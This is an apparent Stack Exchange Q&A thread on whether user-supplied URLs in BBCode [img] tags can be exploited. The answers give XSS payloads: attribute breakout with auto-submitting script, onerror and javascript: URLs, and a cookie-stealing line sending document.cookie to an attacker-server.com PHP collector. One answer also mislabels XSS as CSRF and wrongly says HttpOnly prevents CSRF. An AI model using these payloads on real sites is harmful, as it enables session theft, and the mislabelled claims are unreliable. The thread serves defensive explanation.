Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

By using a system of special tags you can allow users to add custom images, for example, tags like [img]user_url[/img]. Then you replace the tags by their real HTML tags like <img src="user_url" /> making sure to sanitize the user_url.

Not checking the url could be considered a vulnerability? Is there any way to exploit it? And by itself*?
*the website does not have any other vulnerability.


Edit: This is how it is sanitized (PHP)
htmlspecialchars(stripslashes($string)) Being $string = [img]user_url[/img]
References: stripslashes(), htmlspecialchars()

What I have in mind, but I am not totally sure, is something like, [img]http://mysite.com/user?deleteAccount=1[/img]. Is this possible? Are there other ways to exploit this functionality?

share|improve this question
1  
Checking the URL for what? For instance you might want to know if that JPG they link to is actually the Black Hole Exploit Kit but it's not feasible to test for that (directly) ? –  adric Aug 30 '12 at 14:54
    
@adric I mean, if you let the user to introduce any valid url in the href, could it be exploited? –  eversor Aug 30 '12 at 15:17
1  
"making sure to sanitize" "sanitize" how? –  curiousguy Aug 30 '12 at 15:37
    
+1 interesting problem –  Daniel Li Aug 30 '12 at 15:47
    
@eversor: There are a lot of 'valid' URLs that could result in attack or exploitation, yes. To say nothing of the fact that the URL gives you little indication of what is on the other end of it, eg is that a JPG or a PHP script? –  adric Aug 30 '12 at 17:13

4 Answers 4

up vote 5 down vote accepted

Assuming your conversion function does not sanitize:

[img]" /><script>var x=document.forms[0];x.message.value='XSS injection here';x.submit()</script><img src="[/img]

becomes:

<img src="" />
<script>var x=document.forms[0];x.message.value='XSS injection here';x.submit()</script>
<img src="" />

This is a simple example of CSRF (cross-site request forgery). As soon as another user loads said [img] tag, they will run the Javascript that has been injected as an authenticated user, submitting the form unintentionally upon page load.


There are even worse possibilities, including XSS (cross-site scripting). For instance, your attacker may have a remote server that has a script similar to this:

foo.php:

<?php
    require_once('db-config.php');
    mysql_query("INSERT INTO `cookies` VALUES
        (DEFAULT, '" . mysql_real_escape_string($_GET['input']) . "'"));
?>

The attacker can send an AJAX request through the injected Javascript and send himself your session cookie with a URL like so:

'http://attacker-server.com/foo.php?input=' + document.cookie;

This will allow the attacker to hijack your session ID, impersonating you in the application.

An obstacle for the interim to solve a problem such as this (an imperfect solution) is to set the HttpOnly property on your cookie(s) to prevent certain CSRF attacks from occurring.


EDIT:

You mentioned:

What I have in mind, but I am not totally sure, is something like, [img]http://mysite.com/user?deleteAccount=1[/img]. Is this possible? Are there other ways to exploit this functionality?

This is definitely possible. Read my explanation above regarding CSRF. In fact, many web applications use this to track e-mail clickthroughs, as the hidden image's src value links to a script that runs when a user opens their e-mail.

share|improve this answer
1  
It sanitizes, I updated the question to show how. BTW I made a little mistake, img tag does not have the href attribute, it is src ;) –  eversor Aug 30 '12 at 18:30
    
And, apart from CSRF, are there other ways to exploit it? –  eversor Aug 31 '12 at 6:30
    
As the exploit is launched on the client-side, CSRF/XSS are pretty much what you're looking at here. –  Daniel Li Aug 31 '12 at 14:16
    
Having cookies with HttpOnly doesn’t prevent CSRF. –  Gumbo Nov 23 '12 at 18:45
    
Thus the caveat, "an imperfect solution" and calling it an "obstacle" instead of a "fix". Granted, it should have been more clear. –  Daniel Li Nov 24 '12 at 5:12

And by itself? the website does not have any other vulnerability.

If someone inserts javascript code into your page, then anyone that visits it will be running that javascript code from your domain. So they could force any actions (XSS) that the user could do from that page (delete account, transfer money, etc).

share|improve this answer

The attack based on unsanitised input is that the URL will be of a dangerous scheme, eg javascript:alert(). You should check for a known-good URL scheme (eg http://) before creating an image pointing to it.

The HTML-injection attack described by @Hope is also likely to exist, but that is a problem of lacking HTML-encoding, not specifically of input validation. Your mini markup language must make sure to HTML-encode all values it uses to create HTML. (In cases where your input has mismatched/nested tags this is notoriously tricky to get right.)

share|improve this answer

Let user_url be http://some_image/" onerror="alert(1)

Thus creating the string: <img href="http://some_image/" onerror="alert(1)" />

You said "making sure to sanitize the user_url"

And I'm asking HOW. Yes obviously this could be a vulnerability, and this depends entirely on HOW you are sanitizing this string.

share|improve this answer
    
I edited the question, now you can see how it is done. BTW I made a little mistake, img tag does not have the href attribute, it is src ;) –  eversor Aug 30 '12 at 18:30
    
@eversor add the ENT_QUOTES argument to htmlspeicalcahrs(). Also stripslashes() shouldn't come into play unless you are using magic_qotes_gpc, which shouldn't be enabled. –  Rook Aug 30 '12 at 19:42

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.